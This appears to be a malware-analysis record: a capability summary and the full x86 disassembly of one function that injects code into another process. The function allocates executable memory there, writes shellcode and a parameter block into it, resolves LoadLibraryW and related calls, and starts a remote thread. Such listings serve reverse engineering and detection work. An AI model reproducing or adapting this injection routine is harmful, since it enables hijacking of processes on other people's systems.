Function at 0x4022e0
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject dll
Inject thread
Link many functions at runtime
Spawn thread to rwx shellcode

Disassembly:
sub esp, 0x398
mov eax, dword [0x4040e4]
xor eax, esp
mov dword [esp + 0x394], eax
mov edx, dword [esp + 0x3b8]
mov eax, dword [esp + 0x3b0]
mov ecx, dword [esp + 0x3b4]
push ebx
mov ebx, dword [esp + 0x3ac]
push ebp
mov ebp, dword [esp + 0x3a4]
push esi
push edi
mov edi, dword [esp + 0x3bc]
push 0x36c
mov dword [esp + 0x28], edx
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0x3d0]
mov dword [esp + 0x30], ecx
mov ecx, dword [esp + 0x3d4]
lea edx, [esp + 0x3c]
xor esi, esi
push 0xaa
push edx
mov dword [esp + 0x34], eax
mov dword [esp + 0x3c], ecx
mov dword [esp + 0x1c], 0xffffffff
mov dword [esp + 0x40], esi
mov dword [esp + 0x28], esi
call sub.MSVCR90.dll_memset
add esp, 0xc
push 0x40
push 0x1000
push 0x1000
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push ebp
call esi
mov dword [esp + 0x18], eax
test eax, eax
je 0x402693
push 4
push 0x1000
push 0x36c
push 0
push ebp
call esi
mov dword [esp + 0x14], eax
test eax, eax
je 0x40266b
push 0
push 0x1000
push 0x4020b0
call fcn.00402010
add esp, 4
push eax
mov eax, dword [esp + 0x24]
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x40266b
push ebx
lea ecx, [esp + 0x9c]
push 0x4032c8
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
test edi, edi
jne 0x4023fa
mov byte [esp + 0x2a0], 0
jmp 0x40240e
push 0x100
push edi
lea edx, [esp + 0x2a8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
mov eax, dword [esp + 0x3b0]
mov ecx, dword [esp + 0x3b4]
mov ebx, 0x19822891
push str.kernel32.dll
mov dword [esp + 0x58], eax
mov dword [esp + 0x5c], ecx
mov dword [esp + 0x3c], ebx
mov dword [esp + 0x3a4], 0x31415926
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esi, eax
test esi, esi
je 0x40266b
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.LoadLibraryW
push esi
call edi
push str.GetModuleHandleW
push esi
mov dword [esp + 0x88], eax
call edi
push str.FreeLibrary
push esi
mov dword [esp + 0x8c], eax
call edi
push 0x403288
push esi
mov dword [esp + 0x90], eax
call edi
push 0x403278
push esi
mov dword [esp + 0x94], eax
call edi
push str.SetLastError
push esi
mov dword [esp + 0x98], eax
call edi
cmp dword [esp + 0x80], 0
mov dword [esp + 0x94], eax
je 0x40266b
cmp dword [esp + 0x84], 0
je 0x40266b
cmp dword [esp + 0x88], 0
je 0x40266b
cmp dword [esp + 0x8c], 0
je 0x40266b
mov ecx, dword [esp + 0x3d4]
cmp ecx, 8
ja 0x40266b
mov esi, dword [esp + 0x3d8]
test esi, esi
jne 0x402508
test ecx, ecx
jne 0x40266b
mov dword [esp + 0x5c], ecx
test ecx, ecx
jbe 0x402516
lea edi, [esp + 0x60]
rep movsd dword es:[edi], dword [esi]
mov eax, dword [esp + 0x14]
push 0
push 0x36c
lea edx, [esp + 0x40]
push edx
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x40266b
mov edx, dword [esp + 0x14]
mov eax, dword [esp + 0x18]
lea ecx, [esp + 0x34]
push ecx
push 0
push edx
push eax
push 0
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov edi, eax
test edi, edi
je 0x40266b
push 0xffffffffffffffff
push edi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x402664
push 0x36c
push eax
lea ecx, [esp + 0x40]
push ecx
call sub.MSVCR90.dll_memset
mov ecx, dword [esp + 0x20]
add esp, 0xc
lea edx, [esp + 0x1c]
push edx
push 0x36c
lea eax, [esp + 0x40]
push eax
push ecx
push ebp
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x4025ac
mov dword [esp + 0x10], 0x100
jmp 0x402664
cmp dword [esp + 0x1c], 0x36c
je 0x4025c3
mov dword [esp + 0x10], 0x200
jmp 0x402664
cmp dword [esp + 0x38], ebx
je 0x4025d6
mov dword [esp + 0x10], 0x300
jmp 0x402664
cmp dword [esp + 0x3a0], 0x31415926
je 0x4025ed
mov dword [esp + 0x10], 0x400
jmp 0x402664
mov eax, dword [esp + 0x20]
mov dword [esp + 0x10], 0
test eax, eax
je 0x402603
mov edx, dword [esp + 0x44]
mov dword [eax], edx
mov eax, dword [esp + 0x2c]
test eax, eax
je 0x402611
mov ecx, dword [esp + 0x4c]
mov dword [eax], ecx
mov eax, dword [esp + 0x24]
mov ecx, dword [esp + 0x3c]
test eax, eax
je 0x40261f
mov dword [eax], ecx
mov eax, dword [esp + 0x28]
mov esi, dword [esp + 0x40]
test eax, eax
je 0x40262d
mov dword [eax], esi
mov eax, dword [esp + 0x30]
mov edx, dword [esp + 0x48]
test eax, eax
je 0x40263b
mov dword [eax], edx
test ecx, ecx
je 0x402647
mov dword [esp + 0x10], 1
cmp esi, 1
jne 0x402651
or dword [esp + 0x10], 2
test edx, edx
je 0x40265a
or dword [esp + 0x10], 4
cmp esi, 2
jne 0x402664
or dword [esp + 0x10], 8
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [esp + 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0x8000
push 0
push edx
push ebp
call esi
mov eax, dword [esp + 0x14]
test eax, eax
je 0x402693
push 0x8000
push 0
push eax
push ebp
call esi
mov ecx, dword [esp + 0x3a4]
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00402a5e
add esp, 0x398
ret